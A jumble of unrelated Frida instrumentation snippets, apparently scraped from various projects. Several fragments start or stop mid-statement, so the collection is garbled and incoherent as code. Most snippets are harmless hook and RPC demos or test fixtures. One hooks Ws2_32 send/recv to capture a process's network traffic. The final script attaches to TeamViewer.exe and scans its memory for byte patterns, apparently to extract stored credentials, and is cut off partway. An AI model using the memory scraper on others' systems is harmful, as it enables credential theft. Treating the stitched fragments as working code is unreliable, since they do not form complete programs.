(patches may stay applied)...") for script in scripts: script.unload() print("Detaching from Client.exe...") session.detach()
import frida import sys process = frida.attach("hello") session = process._session script = session.create_script( """ Interceptor.attach(ptr("%s"), { onEnter: function(args) { send(args[0].toString()); var op = recv('input', function(value) { args[0] = ptr(value.payload); }); op.wait(); } }); """ % int(sys.argv[1], 16)) def on_message(message, data): print message, data val = int(message['payload'], 16) script.post_message({'type': 'input', 'payload': str(val * 2)}) script.on('message', on_message) script.load() sys.stdin.read()
import frida import sys process = frida.attach(sys.argv[1]) with open("dynspect.js", "r") as f: script = process.session.create_script(f.read()) def on_message(message, data): if message['type'] == 'send': print(message['payload']) else: print(message) script.on('message', on_message) script.load() sys.stdin.read()
# -*- coding: utf-8 -*- from __future__ import print_function import frida system_session = frida.attach(0) bytecode = system_session.compile_script(name="bytecode-example", source="""\ rpc.exports = { listThreads: function () { return Process.enumerateThreadsSync(); } }; """) session = frida.attach("Twitter") script = session.create_script_from_bytes(bytecode) script.load() api = script.exports print("api.list_threads() =>", api.list_threads())
from __future__ import print_function import frida import sys session = frida.attach("hi") script = session.create_script(""" var st = Memory.allocUtf8String("TESTMEPLZ!"); var f = new NativeFunction(ptr("%s"), 'int', ['pointer']); f(st) """ % int(sys.argv[1], 16)) def on_message(message, data): print(message) script.on('message',on_message) script.load() sys.stdin.read()
def hooker(): pid = options.atta if options.spaw: pid = [options.spaw] pid = frida.spawn(pid) session = frida.attach(pid) script = session.create_script(""" var bufferaddr; var bufferlen; Interceptor.attach(Module.findExportByName("Ws2_32.dll", "send"), { onEnter: function (args) { send("send",Memory.readByteArray(args[1], args[2].toInt32())); } } ); Interceptor.attach(Module.findExportByName("Ws2_32.dll", "recv"), { onEnter: function(args) { bufferaddr = args[1]; bufferlen = args[2].toInt32(); }, onLeave: function(args){ send("recv", Memory.readByteArray(bufferaddr, bufferlen)) } } ); """) #If we want a shiny html output if options.output: file = open(options.output, "wb") file.write(header) #If crtl + c... def signal_handler(signal, frame): file.write(footer) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def on_message(message, data): if message['payload'] == "recv": global i i = i + 1 print(colored("recv <-- " + str(len(data)) + " ", "red") + colored(str(i), "yellow")) if options.verbose: print(colored(binascii.hexlify(data), "red")) if options.output: file.write('<font color="red">' + str(i) + "-" + binascii.hexlify(data) + "</font><hr>") if message['payload'] == "send": i = i + 1 print(colored("send --> " + str(len(data)) + " ", "green") + colored(str(i), "yellow")) if options.verbose: print(colored(binascii.hexlify(data), "green")) if options.output: file.write('<font color="green">' + str(i) + "-" + binascii.hexlify(data) + "</font><hr>") if options.spaw: frida.resume(pid) script.on('message', on_message) script.load() sys.stdin.read()
def setUp(cls): system = platform.system() cls.target = subprocess.Popen([target_program], stdin=subprocess.PIPE) # TODO: improve injectors to handle injection into a process that hasn't yet finished initializing time.sleep(0.05) cls.session = frida.attach(cls.target.pid)
import frida import sys def on_close(): print "on_close!" def on_message(message, data): print "on_message: message=%s data='%s'" % (message, data) pid = int(sys.argv[1]) session = frida.attach(pid) session.on('close', on_close) script = session.create_script(""" var value = 1337; setInterval(function() { send({name: '+ping', payload: value++}); function onMessage(message) { send({name: '+ack', payload: message}); recv(onMessage); } recv(onMessage); }, 3000); """) script.on('message', on_message) script.load() print "Waiting for messages..." raw_input() print "Posting message..." script.post_message({'name': '+syn'})
var receiver = new ObjC.Object(args[0]); send("Target class : " + receiver); send("Target superclass : " + receiver.$superClass); var sel = ObjC.selectorAsString(args[1]); send("Hooked the target method : " + sel); var obj = ObjC.Object(args[2]); send("Argument : " + obj.toString()); } }); } else { console.log("Objective-C Runtime is not available!"); } """ return hook if __name__ == '__main__': try: session = frida.attach("FridaPlayGround") script = session.create_script(do_hook()) script.on('message', on_message) script.load() sys.stdin.read() except KeyboardInterrupt: sys.exit(0)
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" var RtlAllocateHeapAddr = Module.findExportByName('ntdll.dll', 'RtlAllocateHeap'); console.log('RtlAllocateHeap address: ' + RtlAllocateHeapAddr.toString()); var RtlFreeHeapAddr = Module.findExportByName('ntdll.dll', 'RtlFreeHeap'); console.log('RtlFreeHeap address: ' + RtlFreeHeapAddr.toString()); var RtlReAllocateHeapAddr = Module.findExportByName('ntdll.dll', 'RtlReAllocateHeap'); console.log('RtlReAllocateHeap address: ' + RtlReAllocateHeapAddr.toString()); var log_out; // PVOID RtlAllocateHeap( // _In_ PVOID HeapHandle, // _In_opt_ ULONG Flags, // _In_ SIZE_T Size // ); console.log('>> Hooking ntdll!RtlAllocateHeap...'); Interceptor.attach(RtlAllocateHeapAddr, { onEnter: function (args){ this.log_out = 'RtlAllocateHeap(' + args[0].toString() + ' , ' + args[1].toString() + ' , ' + args[2].toString(); }, onLeave: function (retval){ this.log_out += ') = ' + retval.toString(); console.log(this.log_out); } }); // BOOLEAN RtlFreeHeap( // _In_ PVOID HeapHandle, // _In_opt_ ULONG Flags, // _In_ PVOID HeapBase // ); console.log('>> Hooking ntdll!RtlFreeHeap...'); Interceptor.attach(RtlFreeHeapAddr, { onEnter: function(args){ this.log_out = 'RtlFreeHeap(' + args[0].toString() + ' , ' + args[1].toString() + ' , ' + args[2].toString(); }, onLeave: function (retval){ this.log_out += ') = ' + this.context.eax.and(0xff); console.log(this.log_out); } }); // PVOID RtlReAllocateHeap // ( // HANDLE heap, // ULONG flags, // PVOID ptr, // SIZE_T size // ) console.log('>> Hooking ntdll!RtlReAllocateHeap...'); Interceptor.attach(RtlReAllocateHeapAddr, { onEnter: function(args){ this.log_out = 'RtlReAllocateHeap(' + args[0].toString() + ' , ' + args[1].toString() + ' , ' + args[2].toString() + ' , ' + args[3].toString(); }, onLeave: function (retval){ this.log_out += ') = ' + retval.toString(); console.log(this.log_out); } }) """) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
# -*- coding: utf-8 -*- from __future__ import print_function import frida session = frida.attach("Twitter") script = session.create_script("""\ 'use strict'; rpc.exports = { hello: function () { return 'Hello'; }, failPlease: function () { oops; } }; """) script.load() api = script.exports print("api.hello() =>", api.hello()) api.fail_please()
def setUpClass(cls): system = platform.system() cls.target = subprocess.Popen([target_program]) cls.session = frida.attach(cls.target.pid)
# @author Vladimir Egorov (@NotSoFunny) # @version 1.1 31/07/17 import frida import re PERMS = 'rw-' process = "TeamViewer.exe" session = frida.attach(process) print "Attached to process." mems=session.enumerate_ranges(PERMS) data_dump=[] print "Check %s libs."%(len(mems)) for mem in mems: dump = session.read_bytes(mem.base_address, mem.size) beg=chr(int('00',16))+chr(int('88',16)) end=chr(int('00',16))+chr(int('00',16))+chr(int('00',16)) for i in dump.split(beg): if i.find(end)>0 and i.index(end)<=33: data = i[:(i.index(end)+6)] data_dump.append(data) session.detach() print "Cleaning..." mag_dump_mask_1=[] mag_dump_mask_2=[] for i in data_dump: try: if i.endswith(chr(int('20',16))+chr(int('00',16))+chr(int('00',16))): i=i[:len(i)-5] fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))